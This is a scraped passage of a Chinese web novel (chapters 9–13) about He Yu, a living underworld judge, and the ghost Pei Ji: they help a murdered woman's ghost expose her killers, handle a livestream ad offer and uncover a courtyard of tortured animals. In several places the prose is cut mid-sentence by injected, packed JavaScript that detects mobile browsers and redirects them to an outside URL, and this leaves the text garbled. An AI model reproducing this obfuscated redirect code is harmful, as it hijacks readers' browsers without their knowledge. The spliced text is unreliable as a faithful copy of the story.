坐上电梯贺鱼直接摁了最上面一层,刚出电梯就被两个保安拦住,让他们出示高级会员卡。 贺鱼打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392154|168583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着哈哈:“嗯...我们是被周新宇叫上来的,你看我这个电话。” 在保安疑惑掏出手机想要打个电话询问时,眼前略过一道黑烟,两个保安眼神呆滞,保持着举着手机的姿势。 贺鱼和裴寂都能看出来那厉鬼在何处。 一人一鬼十分默契得往同一处走去。 贺鱼一脚踹来黑气裹挟的大门,看清里面的场景吓得一声“我草”。 “谁家散装猪肉成精了。” 周新宇见到贺鱼连滚带爬过来,手里掐着的黄符在此刻也烧成灰烬。 眼泪一把鼻涕一把:“大师,大师救命啊!” 这是贺鱼见过最恶心的鬼,整个身体像是被碎肉拼成,面目全非,已经看不出是个人。 厉鬼见有人打扰了她的好事,周身阴气大盛,发出尖锐的声音:“你们都要死,全都去死!” 尖利的鬼嚎声让周新宇的神情恍惚,贺鱼眼看着他的魂魄就要飘出去,一巴掌拍在他的脑门上:“稳住心神,这一巴掌一会算你两万记住没?” 周新宇自然知道自己刚才恍惚片刻,不知道有多严重,看着贺鱼凝重的眼神他也明白危险,区区两万块钱算什么。 他拽着周新宇躲到裴寂身后:“留她魂魄。” 裴寂疑惑望向贺鱼想问些什么,但尖叫着的一坨散肉已经到了面前,裴寂下意识听从贺鱼话留手,丢出一颗珠子将厉鬼定在墙上。 屋内没了那股骇人阴气,房间里也没了那股阴森恐怖的氛围,又变回原来的模样,五彩的灯光闪烁,桌上的果盘安静躺在大理石桌面上。 贺鱼在旁边鼓了两下掌:“裴人事真牛逼啊。”这厉鬼死时遭受了不少折磨,戾气极重,裴寂不过一出手如此轻松就制住了,真是没白白多死这么多年,鬼外有鬼。 贺鱼这一路过来也累了,一屁股坐在沙发上,还拍了拍身边的位置:“坐。” 裴寂不知道他要干什么,配合得坐下来。 另一边沙发更靠近那个鬼,周新宇看了看说:“我不累站着就行。” 贺鱼翘着腿掐了掐嗓子,在桌上找了半天,回头问:“送点水来,这一路跑的累死我了。” 周新宇“啊”了一声,指了指墙上挣扎的一滩烂肉问:“那她...” 贺鱼“啧”了一声:“你是不是被拍傻了,正常人看不见。” 周新宇又指了指自己,那他不是正常人? 他没问出口,先拿起桌上的一个电子屏点了两下。 贺鱼看了看对面一摊烂肉的女鬼,张了张嘴:“啊...嗯..你能不能整的好看点的...yue~”他本来晕车就难受。 女鬼挣扎无果知道她对付不了这两个新来的人,听话得变成好看的模样,是个年纪不大的小姑娘。 她眼泪说来就来:“大师放过我吧,我是被人害死回来寻仇的。” 9. 第 9 章 贺鱼还没说什么,周新宇一下炸了:“报什么仇,我什么时候害过你!”他这一生不说积德行善,也从来没害过人,他家里家教严,进了娱乐圈也从来没沾上什么劣习。 服务生进来送水,贺鱼摆摆手先干了一杯水,而后给裴寂倒了一杯:“你想不想尝尝这五百一杯的水什么味。” 裴寂狐疑得端起来品了一口:“不就是白水吗?” 贺鱼又喝了一杯:“那是你没尝出来,我感觉一股钱多烧的怨种味。” 贺鱼喝了两杯水才好受不少。 “他说他没害过你,你找他干什么?”老道士教过他粗浅的相面之术,为什么是粗浅的,不是他不学,因为更高深的老道士也不会。 术业有专攻,不可贪心啊。 看不出来太多,但周新宇脸上没有人命牵扯。 女鬼嘶吼:“就是他们那天带我来了这个地方!” 贺鱼又看向周新宇:“你们认识?” 周新宇下意识想摇头,看了看贺鱼,咽下了口水,靠近一点女鬼仔细辨认她的样子。 “还装认不出我,就是你们给我下药把我弄死了还把我分尸。” 女鬼猛得朝前突脸,差点和周新宇来了个脸贴脸,吓得他一屁股坐在地上。 眼看着女鬼又要裂成一块一块的,不知道哪里飞来个苹果砸到她脸上。 随后是贺鱼有些不耐烦的声音:“小点声,你嚷嚷什么,还想不想我们帮你伸冤了,你说你,本来是受害者,你去下面告一状不就好了,非要自己动手,你动了手判官还得给你辩护,你能不能体谅一下我们的辛苦啊...” 贺鱼絮絮叨叨个不停,整个包厢里越发寂静,直到贺鱼自己说完又给自己倒一杯水咕嘟咕嘟下肚。 “不是他那啥的你吧,还不说实话!” 贺鱼突然猛喝一声,女鬼魂魄一抖,视线扫过坐在贺鱼身边的裴寂,她知道跑不了,这个人比她厉害太多。 眼珠一转,她酝酿下情绪刚要卖惨。 “少废话说重点。”贺鱼看着时辰,不要耽误他睡觉的时间。 女鬼一噎,不敢再说没用的:“我是个孤儿,靠资助念完大学,一开始兢兢业业工作,后来发现这样来钱太慢了,就起了歪心思,有个朋友给我介绍了份工作,说陪一晚就能有几万块钱,运气好搭上有钱人那钱就花不完了,我、我就心动了。” 她偷瞄了一眼贺鱼,见贺鱼只是安静坐在沙发上看着她,等她继续,眼里没有鄙夷,没有对她行为的看不起,她微微松了口气。 “然后就介绍到这来,陪的就是他们几个人,后面那杯酒里加了料,我就什么都记不清了,再有意识是因为一阵剧痛,我的身体没有一处不疼,活着被分尸你们知道有多痛吗,可是我睁不开眼睛,我不甘心啊,我钱还没赚到,我不想去死我不想去死!” 她说着眼睛滑落两行带血的泪,阴气大作,眼看着怨气太重又要化为厉鬼。 贺鱼转向周新宇。 周新宇看着贺鱼怀疑的眼神赶紧解释:“大师,我真没参与,那天是有个综艺谈成了,然后圈里的几个人喊我去喝酒庆祝,他们几个名声不好,我基本不怎么接触,经纪人说综艺要和他们一起上,拒绝了很多次也不好再拒绝,我才过来的,喝了两杯我就借口离开了。” 要说这个女鬼的样貌,说了这件事他才有点印象,之前真是一点没想起来这事。 他越想越气,踢了一脚旁边的茶几:“妈的,这几个畜生,我就知道他们不是好东西。” 贺鱼问:“所以你其实不知道是谁杀了你?” 女鬼抽噎声一顿,浑身阴气萎靡:“嗯。”她也不知道这些人都住在哪,只能回到这个会所,把那天在的人都杀了。 “我倒可以帮你,但是阳间的事自有阳间的法度。” 贺鱼这句话在陈述事实,也是一种警告。 女鬼点点头,其实她也只是想要凶手得到严惩,她是个孤儿,往日里的作风也没朋友,死了一个月了都没人在意,说不定会这样悄无声息掩埋掉,她怎能甘心。 贺鱼心中已有了想法:“你记得那天都有谁吗?”他问周新宇。 周新宇这倒是能想起来。 贺鱼又问:“现在能给他们约出来不?” “不确定,我试试。”周新宇已经褪去一开始害怕的情绪,眼神带着愤怒之色,还有点点兴奋。 他发誓这是他人生中最刺激的一天,不仅被鬼袭击,现在还要给鬼抓害死他的凶手,一想到自己做的也是好事,他打字都快了不少:“大师,他们说就在附近,能过来,接下里我们做什么?” 贺鱼看着他有些无语,正常人现在不应该害怕吗,他现在面对的不仅是厉鬼还有可能是杀人凶手的几个人。 贺鱼和裴寂在包厢里找了个隐蔽的位置坐下,等着几个人过来。 大约过了半个小时左右,房间门响起来,四个人走了进来,贺鱼不认识,这几个人有的是有些名气的小演员,有的是刚出道就火的歌手。 每个都不算糊咖,有些名气。 “今天周哥怎么有空叫我们出来喝酒。”他们心里对周新宇十分不屑,假清高,装什么,要不是公司那边要他们讨好周新宇,他们才不想来热脸贴冷屁股。 还以为能装多久,这么快就喊他们来喝酒,不知道是不是上次后悔提前走了。 周新宇现在看着这几张脸都反胃,不过始终牢记着自己的使命,他现在是惩奸除恶的英雄,这件事只有他能来做。 心里的怒火越盛脸上笑得越灿烂,他一副哥俩好的样子搂过最前面人的肩膀:“这不是上次有事没有喝尽兴,这次来给大家赔罪,今天一定不醉不归。” 被搂着的当即坐下来开了一瓶啤酒:“周哥这可是你说的,我先吹一瓶。” 几个人纷纷坐下来附和。 周新宇牢记贺鱼的嘱托,一直给这几个人劝酒。 这几个人常年混迹酒场,就是能喝,这大会服务生来送好几次了,这几个人才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“是你开车带我们去抛尸的。” ...... 一时间几人狗咬狗把这件事玩玩整整说出来,事实远比猜测的更恶心可怖。 在女鬼连番恐吓下几人已经吓得晕过去,周新宇一人踹了一脚,拿着录音的手机下楼开车去警局报案。 贺鱼和裴寂没有跟去,他们出现不好解释。 女鬼怅然跟在贺鱼裴寂身后,看着没过一会会所被警车包围,四人被带走。 若说此刻的心情,惟有后悔二字,若不是她贪心不走正路,也不会遭此劫难,她虽然赚的少,但也算安稳,长得也漂亮,学历也不错,若是不生贪念,之后也是个快乐安稳的人生。 见阴差带走女鬼后,裴寂侧过头看着身边比他矮些偏瘦弱的贺鱼,有些不解问:“为何帮她?” 要说帮周新宇他可以理解,是为了钱,那为何帮这已经化厉的鬼,厉鬼随手打散就是,便如他说的,阳间有阳间的法度,阴间有阴间的规矩,妄想阴间人插手阳间事...裴寂眼神平淡看了一眼身后,魂飞魄散不如轮回。 10. 第 10 章 贺鱼搓了搓胳膊,这会的风还是有点冷的,他穿的半截袖皮肤起了一层鸡皮疙瘩。 “已死之人沉寂,替死人开口,为亡魂伸冤,不就是判官的职责吗。” 这边商业区的灯光宛如白昼,裴寂偏过头看向贺鱼,这位十分市侩的活人判官,却有着极为难得的一颗心,难怪他在阴间如鱼得水,眼目清明,不会为万物所惑。 怪不得那片扰人心智的火红彼岸花海,他走过也只需几分钟而已。 “诶呀,忘了管周新宇要钱了,我为了接触他调查不少,这个人可老有钱了,咱俩多要点,回头给你买个手机。” “你说咱俩要多少好?”贺鱼询问裴寂。 裴寂也想起这事,眉头微竖,思考片刻:“怎么也得五百吧。” 贺鱼跳脚:“你是笨蛋吗,我们辛辛苦苦跑半夜,就五百?” 裴寂跟着贺鱼后面:“五百不多吗,我刷两天盘子才三百。”就动动手五百块钱他觉得已经很昧良心了。 贺鱼恨铁不成钢:“五万,怎么也得五万,地府连鬼火都买不起了,万一不给你发工资,你自己不得存点养老钱嘛。” 裴寂冷淡的神色头一次出现明显的变动:“五万!?”这么多钱,他想都不敢想,这比抢劫来钱快。 贺鱼觉得可以,拿起手机拨打周新宇的手机号,可能是在警局做笔录,没有接。 他把号码复制到微叉添加联系人,备注信息:打钱。 女鬼被裴寂带回阴间,贺鱼刚到家不久就收到了周新宇打来的钱。 十万。 贺鱼看着转账心里搏斗许久,左手摁右手打下“给多了”三个字。 却见对面回复得很快:“不多不多大师,还有没有那个符了,多的钱买那个符用的。” 贺鱼还是皱着眉头给退了五万块,他那破符纸随便画的,一小块黄表纸能算钱吗。 “还有很多,你想要送你几张,钱不多收。”这符都是他小时候练习画着玩的,画了很多,老道士说画的这些也能用,他就一直留着。 当时也是没有办法随手摸出来一张,正经给人的不能随便。 不然也对不起周新宇二话不说给的这些钱。 贺鱼叹口气,洗漱过后去杂物间,板板正正堆了很多箱子,贺鱼都不用特意翻找,他就知道那些东西被他放在哪了。 用抹布抹掉盒子上面落下的灰尘,贺鱼深吸一口气打开小箱子。 里面整齐放着很多书籍,有些比较旧,外面却包着一层书皮,看出来被人精心呵护着,摞着的书旁边放着一沓黄表纸,上面躺着一根毛笔,笔尖十分干净,箱子的侧面,别着一把铜钱串成的剑,不长,半米左右,挂着一个可爱的玩偶。 玩偶上面有密密麻麻的缝补痕迹,已经很难看出本来的样子,不过还是很可爱。 贺鱼指尖碰了碰那个玩偶,这是他妈给他缝的。 小时候因为看见奇怪的东西没人跟他玩,只有邻居的小男孩和他关系不错。 那个小男孩有很严重的先天病,整个人都苍白瘦弱,好像随时都会变成一缕幽魂。 贺鱼和他一起玩的时间也不多,偶尔邻居阿姨推他出来晒太阳才会说上两句话。 学会道术后贺鱼认认真真画了一个平安符给他,作为回礼,小孩给了他一个玩偶。 再后来小男孩一家被接走,好像是去治病了,不知道有没有治好,希望那张可能没什么作用的平安符能护他平安。 小玩偶脸上线缝的痕迹像是一个微笑的表情,似是在回应贺鱼,贺鱼戳了戳小娃娃。 在小男孩走后的一年,他被鬼欺负,弄坏了小玩偶,回家很伤心,妈妈给只剩一些棉花和布的小玩偶缝缝补补弄好了,即使已经看不出来以前的样子了。 贺鱼拿出下面的小盒子朱砂、毛笔、黄表纸,其实贺鱼并不需要这些东西就可以画,不过这样效用更好。 他本以为自己十年没碰这些已经忘掉了,画起来的时候手上的动作就像早已练习了千百遍,还是一气呵成。 他吹干上面的笔迹,一共画了五张。 画符是一个很耗神的工作,今天折腾这么晚他不想明天上班起不来。 贺鱼早上起来得很早,还是要接触这些就要再练起来,别以后真有个万一对付不了。 给自己煎了个鸡蛋煮了个粥,吃完后贺鱼穿着运动服下楼打了段太极,一开始只有他一个人,起得太早连老头老太太都没出来。 过了会太阳升上来,贺鱼身后逐渐有熟悉的老头老太太跟着练。 贺鱼打完一回身身后早已一长串的老年人。 看着他停下了有个熟悉的大娘问:“小鱼啊,你还会这个呢。” 贺鱼尴尬挠挠头笑道:“小时候跟老道士学的。” 大娘被一堆老头老太太催促着又问:“小鱼你每天都来不,几点来啊,我们闲着也是闲着,这打完感觉浑身都舒坦了,跟你练练。” 原来就是这事,贺鱼乐得答应大爷大妈,这也算是一种积功德,立刻笑了起来:“行,那咱们每天六半。”一个小时他收拾收拾去上班。 岁数大的人都觉少,几点都起得来。 在贺鱼走后那个跟贺鱼熟的大娘一下被拥护起来,几个老头老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392156|168583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太太围着她让她拉个群。 去上班之前贺鱼给裴寂取了两万块钱。 下午地府的鬼火终于到货了。 贺鱼看着突然亮堂不少的大殿收起自己的手电筒,要不是地府这么穷,他必须要这群鬼给他的电费报了。 下班贺鱼坐在地铁上刷手机看私信,居然收到了商家的私聊。 还好他有每个消息都看的习惯,不然就要错过了。 贺鱼激动得差点在地铁上跳起来,接到广子了,发家致富第一步,他们已经迈出去了,有一就有二,有二就有三,财源广进源源不断。 贺鱼压制住自己的兴奋,看这个商家名字——爱吃糖,看来是食品广告。 可能是裴寂直播会吃东西商家找上来了。 他那些零食的钱没白花。 贺鱼翘着嘴角点开私聊。 “哈喽,我们这里有个新品想和咱们合作一下,只要在直播的时候穿一次就可以,样品免费,穿这件拍一组照片发布佣金是一万块,挂车每笔的佣金是二十块,请问有兴趣吗?” 下面商家发来的链接图片是衣服。 拍组照片就一万块贺鱼恨不得立马答应,不过他是一个有良心的主播,得先看下衣服质量和价格。 他点开衣服图片准备仔细了解一下。 衣服样子看着不错,黑色打底的长衫,上面一个印着狗,一个印着猫。 这怎么是两件衣服,看着好像细节处又有些不一样。 贺鱼放大了看,图片上面好像写的是这件衣服的代码——情侣衫36。 贺鱼没看见上面的标题还以为是衣服不同款式。 贺鱼有些疑惑:“您确定让我代情侣衫,主播只有一个人哦,还是说穿一件另一件拿出来展示就可以?” 他也是头一次接商单,不知道一万贵还是少,不过对他来说很愿意接这个广子,好好询问金主的要求,之后万一还有连续合作呢。 他趁着商家回复的时间点开商家的店铺,看简介这居然是一家专门做情侣衫的原创店铺,里面的样式都是仅此一家,还申请了版权。 这家店铺账号居然有几百万粉丝,贺鱼往下滑商家的视频,这家之前从未出现过真人模特,是两个画出来的帅哥。 贺鱼一愣,点开一组照片放大看,真就是两个男性角色。 这两个二次元帅哥,一个长黑发脸很酷的帅哥胳膊搭在另一个淡棕色头发有些偏金的帅哥肩膀上,淡棕色头发那个手遮在眉目处向远处看着什么。 贺鱼意识到什么。 这特么是男同情侣装!这为什么来找裴寂。 11. 第 11 章 上面弹出商家回复的消息:“不好意思是我唐突了,我以为主播和小助理是一起的,小助理不接吗?” 贺鱼想起第一次直播时自己出过镜,不过那会也没露过脸,这商家怎么这么奇怪来找他们来代情侣装。 他想不通直接问。 聊天框上的正在输入输入了很久,大约一分钟后,商家发来了很多东西,各种不同软件的链接。 还有个什么□□自产粮TXT合集,括号涉及艾斯爱慕、xxplay等多项内容,不喜慎点。 这条消息很快就被商家撤回了,贺鱼还尚未来得及深思。 商家:“哈哈不好意思发错了【尴尬】【尴尬】。” “您没下载吧哈哈哈哈哈...” 贺鱼:“没...” 商家问:“那就好,您点开看看这这些链接就知道了,很火的现在。” 贺鱼从最上面开始点,第一个是个寻人帖子——《惊!路人cp神颜,求问有没有相关信息,贴主无恶意,只是想磕糖!!!诸位请看vcr》。 有一小段视频,应该是离得远拍的,有些模糊。 再模糊贺鱼也能看出来这就是他和裴寂。 在小吃街不知道被谁偷拍了,屏幕里的他端个碗吃了一口递给身后的裴寂。 这个帖子下面跟了很多,有的是他们的照片,有的是裴寂照片,还有他们的短视频账号。 跟了几千楼,帖子的热字被牢牢挂在首页,那些小视频都几十万几万赞,剪得五花八门,贺鱼看了几个就没看了。 看来商家是因为这个热度才来找他们带货的,这样就合理多了。 “我们只是朋友。”贺鱼说,他不想靠这种噱头赚钱,钱要老老实实赚。 商家回复的很快:“没关系的,就是普通的照片就可以,你们两个长得跟我们店里的设子很符合。”其实这些路人也知道不一定是真的,只不过是自己给自己找点糖。 她也是被粉丝在这些帖子在下面艾特个不停,说有两个人长得跟她店里的设子几乎一模一样,这才心动找上来。 不需要两人自己卖,他们自会找糖磕。 贺鱼没有直接答应下来,还是得问问裴寂的意思。 商家有些着急,谁能拒绝店里的oc出现在三次元:“我们可以加钱的,之后还希望能长期合作。” 贺鱼还是没答应,把这件事原原本本得传给裴寂。 收到贺鱼金元宝的时候,裴寂正听着几个阎王说什么什么没了,哪里哪里又需要用钱。 鬼差站在殿外拖着金元宝不知道该进不该进,裴寂见到鬼差招招手。 听到贺鱼的元宝恨不得立马同意下来,他真的很穷。 贺鱼刚做完饭就纯 晚上贺鱼刚做完饭裴寂就敲门了,他怀疑得看着裴寂,这人是不是在他家装监控了,每次都在饭点来,一分不多,一秒不少。 裴寂熟练得进屋洗手后坐在餐桌上。 贺鱼狐疑打量他。 裴寂专注低头吃饭,在贺鱼端起碗筷那一刻悄悄松口气。 裴寂的开播时间变成每晚八点,每天开播总是有些打赏礼物赚的,还能积累不少粉丝和人气。 粉丝时不时剪的裴寂小视频也会出圈。 贺鱼也习惯他每天来蹭饭,今天煎了六个鸡翅,本想着一人三个,看着裴寂吃完还有些回味的样子他又给裴寂拨了一个。 裴寂眼神闪烁,看得贺鱼有些不自在,他挠挠鼻子实在说不出什么肉麻的话。 “我吃不了了,这个给你。” 裴寂越来越像现代人,今天穿的黑色长袖和短裤,两只眼睛看着你的时候,贺鱼觉得自己好像养了一只大狗。 褪去那身古装,他身上的威压和气势都少了不少,面无表情的脸都显得呆愣。 裴寂“哦”了一声,夹起那块鸡翅塞嘴里,咬得骨头咔哧咔哧响。 贺鱼才注意他的鸡翅没有吐骨头。 他咬了一口自己碗里的鸡翅,这骨头也没有顿到能嚼烂的程度。 贺鱼抬头看了眼裴寂,他咀嚼的时候闭着嘴巴,筷子里夹着半个鸡翅,嘴里的半个吃的很享受。 等他将剩下半个鸡翅塞进嘴里,贺鱼看到了他露出来的像鲨鱼一样锋利的牙齿。 他心下一凛,裴寂生前真的是人吗,这是人能有的牙吗。 “怎么了?”裴寂注意到贺鱼一直看着他,还以为是自己吃多的,捏紧了手里的碗筷。 贺鱼摇摇头:“你怎么不吐骨头,骨头不能吃。” 裴寂看了下贺鱼桌上的,回道:“骨头也挺好吃。” 贺鱼无奈,总感觉裴寂是饿死的。 晚上播的时候周新宇还来了直播间刷了很多礼物,一下涌入很多粉丝问怎么回事。 两个人就连次麦怎么变成好朋友还互关了。 裴寂向来谨记贺鱼的话,实话实说,但他也知道分寸:“帮他解决个麻烦。” 粉丝们也不会深问,很有可能涉及到人家的隐私了。 “小鱼在干什么?”粉丝问。 裴寂转头看了下贺鱼,没有看到人影:“我去看下。” 没过一会又出现在屏幕里:“他在把买的东西放进冰箱里。” 粉丝很多都看到了那些CP向的短视频和照片,追问他们的关系。 裴寂再面对这个问题还是不知道怎么回答,见贺鱼拿着切好的水果过来,仰头问道:“我们是什么关系?” 贺鱼嘴里的东西被这句话惊到还没嚼就直接咽了下去:“咳咳咳咳,朋友啊还能是什么!” 想到今天看到的那些视频,他真的心都要吓得跳出来了。 放在桌子上面的小熊盘子里很多种类的水果,葡萄两个颜色的都有,芒果菠萝哈密瓜被切成适口的一块一块。 果盘入镜的刹那弹幕疯狂刷了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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原来现代社会这么开放,两个男的也可以这样,之前也有,都是要藏着掖着的。 他猛吸了两口气,压下心头被网友们科普的那股燥热感,看向贺鱼。 他神情一顿,贺鱼...在梳头...半夜梳头给鬼看,这里还有别的鬼吗。 裴寂打量四周,只有他一个。 贺鱼看着他奇奇怪怪的样子问:“完事了吗?” 裴寂盯着贺鱼:“嗯。” 贺鱼总觉得他的眼神有些怪:“哦那你现在走吗?” 裴寂见贺鱼的手还在梳着头发,脚步踌躇:“你不想我走吗?” 贺鱼:? 这是什么对话,他为什么不想他走。 裴寂的拳头紧了紧又松开:“我必须要走,还有事。” 贺鱼满脸茫然,什么意思。 “那你走吧。” 裴寂心里一凉,完蛋了,这句话是不是生气了。 可惜已经下播了也不能问问网友们,明天直播时候再问吧。 12. 第 12 章 贺鱼买的两个手机跟邮过来的衣服周四晚上到的,正好赶上放假还能给照片拍了。 昨天晚上跟裴寂说了周五等他一起,反正裴寂都是要晚上去他家蹭饭,还不如坐他的车回去,还能省不少钱。 贺鱼打开下班开门看到裴寂坐在车上吃薯片。 他站在下面看着,有一种林黛玉拉大提琴的感觉,红色的怪兽嘶吼,裴寂脸上面露不舍丢出一块,结果另一只抢到了,两只对着嘶吼。 贺鱼已经学会自己上车:“晚上你想吃什么,家里没菜了得去买菜。” 裴寂觉得贺鱼做什么都挺好吃的:“什么都可以。” 贺鱼买菜不会去超市,带着裴寂去小区旁边的菜市场,这的菜便宜还新鲜。 两边的小贩叫喝声不停,讲价声,孩子哭闹声和妈妈烦躁的训斥声。 裴寂好奇得打量着周围的一切,这是他未见过的人间烟火。 贺鱼在一处卖鱼的停下:“这鱼怎么卖?” “五块一斤,这都是刚才打出来的新鲜的。”老板说着用网子在里面戳了戳,活鱼立刻动了起来。 贺鱼刚要挑一条,耳边冷不丁响起个声音:“不要买,这鱼刚从死过人的河里捞上来的。” 贺鱼沉默抬头看着面前鬼:“你怎么知道?” 鬼的表情有些不屑:“就是我淹死了啊。” 贺鱼看了在水里活蹦乱跳的鱼,收回视线起身走了。 他每次买菜就买够几天吃的,每顿一菜一肉,荤素搭配营养均衡,但自从裴寂来了后,之前做一次够他吃一天的,现在顿顿光。 看裴寂吃的香,他心里也有点成就感,自己的厨艺得到肯定,反正都会教伙食费,两个人吃饭是香一点。 贺鱼蹲在摊位面前挑豆角,裴寂熟练地接过贺鱼手里的东西,也跟着贺鱼蹲下来看着他挑。 裴寂手里的袋子越来越多,贺鱼想着晚上多做几个菜,算是庆祝他们赚钱成功第一步吧。 在街角处裴寂看着街边卖烤肠的小摊微微顿了脚步,他的钱都拿去给地府买东西,现在兜里十分干净。 他咬咬唇,看了眼贺鱼的背影,出声道:“小鱼,我想吃那个。” 贺鱼顺着他的视线看过去,这家烤肠还挺好吃的,贺鱼过去要了两根。 这旁边有个中学,正好是下课的时间烤肠摊排了一小串的队伍,贺鱼明白他的意思给他五块钱让他去那边排队。 他再逛逛这边的摊子看看还有没有什么要买的菜。 “去去,上一边去。” 贺鱼停下挑茄子的手看向隔壁摊位的动静,有一只纯黑的猫对摆在地上的菜蠢蠢欲动,他看着很瘦,像是饿了很多天了。 摊主挥手赶着猫,要是被猫碰到了,周围的人想必都不会买了。 小猫围着转喵喵叫个不停,他走路不太顺畅,身上的毛黏成一团,还能看到丝丝干涸的血迹。 贺鱼捏着茄子的手有点顿。 “小鱼,你的。” 裴寂嘴里叼着咬了一半的烤肠,手里那根向下递给贺鱼。 贺鱼接过对着黑猫叫了两声:“咪咪。” 他将烤肠外面的酱料吃掉,掰了两块里面没有料的地方。 猫歪头看了一眼贺鱼,小跑过来叼走贺鱼手里的食物。 贺鱼见他这样推着裴寂又去买了一根不带调料的。 这样低头吃东西时候贺鱼可以看到他脖子上面勒着一圈什么,贺鱼去碰那个东西的时候猫很老实。 “我看见了,几天前晚上有个戴帽子的人给他脖子上系了个绳子。” 方才那个水鬼又出现在贺鱼旁边,他太无聊了,没人能跟他说话,可算有个人可以看见他。 贺鱼沉默得帮着猫解脖子上的绳子,勒得很紧,他呼吸都不是很顺畅。 人比鬼可怕多了。 贺鱼手边没有利器,看着猫难受的样子他心里有些着急。 裴寂蹲下来,指尖划过,那根绳子就掉在地上。 贺鱼本想带这只猫去看看,但他吃完就一瘸一瘸得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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13 章 贺鱼一开始没有多想,拎着菜太累,找了块干净的地方把东西放下,打开手机看了会,眼看着过去十分钟了还是没有动静。 他心里觉得有些不对,就算这院子再大也不能这么久啊。 他上前敲了敲院门,里面没有传来声音。 细想起来在鬼进入这个院子的时候好像他就感受不到他的阴气了。 贺鱼和裴寂对视一眼,喊道:“有人吗?” 等了会没有声音贺鱼打量了一下铁门,用手推了推,打开旁边的孔洞,门是被锁着的。 贺鱼小声叫了两句那个鬼,也得不到任何回应。 他皱眉问裴寂:“能带我进去吗?” 裴寂抓着贺鱼胳膊到了院里。 普通的农家大院,右侧的位置种了一棵树,下面摆着石桌和几个小圆石凳。 房屋的左面有一处放杂物的棚子,看上去很乱。 贺鱼从进来就闻到一股奇怪的味道,他面色凝重,连裴寂也蹙起眉头。 这院子进来才感觉到阴气极重,处处透着诡异。 可他方才在外面却没有丝毫感觉,这肯定有一个懂的人在这布下了隔绝的阵法。 既然是人不是鬼,这件事就更显可怖,这个人弄了这么重的阴气是要做什么。 这院子也不小,要是想找一只鬼也得走一会。 “喵~” 消失的黑猫出现在棚子里,对着贺鱼叫了一声。 贺鱼见是他向前走了两步,黑猫浑身的毛乍起,弓着身子哈气,似乎在警告他。 见此贺鱼止住了脚步:“你不让我过去?” 黑猫“喵”了一声,站在棚子口处。 此处诡异得很,就这样放着贺鱼也不放心。 在他重新打量此处庭院时身边的裴寂已经大阔步走过去,丝毫不理会黑猫的警告。 人死魂为鬼,有执念者留在世上,有怨念化为厉鬼。 阳间自然有阴气,有鬼,有厉鬼。 这种事阴间不会干涉,这是天道法则,不过要是有人刻意聚阴养鬼,那他自然不会坐视不理。 贺鱼见他已经过去也来不及多想跟过去。 越靠近棚子阴气更盛,黑猫焦急得在原地踱步。 绕开棚子前方摆放的稻草,踏进亭子的时候他们才看清亭子里为何物,也明白为何黑猫呲着牙不让他们过来。 全是动物的尸体,依稀可辨有些是猫有些是狗,他们都是残肢被随意丢在这里,一进院子那股奇怪的味道也找到了源头。 动物的尸体堆成小山,贺鱼的手发凉。 折磨动物让它们死亡,使此处怨气极重,贺鱼想到之前看到过的邪术,想必这些动物的魂魄都被抽走了。 贺鱼实在看不下去棚子,再待一刻怕是都要吐出来。 他出去棚子想再检查一下这间院子里是不是还藏着别的什么惨无人道的邪门术法。 脚还不等迈出去,脚下升起一道光,阻挡了去路。 又是一道阵法,这人十分谨慎,怕有人来到此处发现还留了一道禁制,怪不得黑猫不让他们过来。 只可惜,面前的光和阵法乍然无存,裴寂走出还停顿了下:“怎么感觉刚才好像有什么东西?” 贺鱼抱起黑猫,这个小家伙怕是从这里跑出来的,身上肯定也是受了不轻的伤。 一人一鬼在院子里四处查看,他们要快点,那个水鬼肯定也是被困在什么地方,不知道有没有危险。 “我们分开找。”贺鱼指着两间房子:“你找右边,我找左面。” 不知道主人什么时候回来,这两间房很大,分开能效率高一点。 裴寂想了下点头同意,此处没人只有鬼,他给贺鱼的珠子足够他自保。 黑猫知道贺鱼没有恶意,十分听话缩在贺鱼的怀里。 常年流浪饥不饱腹让黑猫很轻,还没有贺鱼买的胡萝卜重。 庭院里十分寂静,只有他发出的踢踏声,连黑猫都知趣得不做声,那边的裴寂行动极快,这大会已经不见了踪影。 贺鱼来到门口,大门上也上了一把锁,他口中念咒用力掰了下锁头,随手丢在一边。 这主人不是什么好东西,他自然也不能用正常人的方式对待。 房门打开又是扑面而来的腐臭味,贺鱼干“yue”了一声,捂住口鼻往里走,正对是一条走廊,两边是屋子。 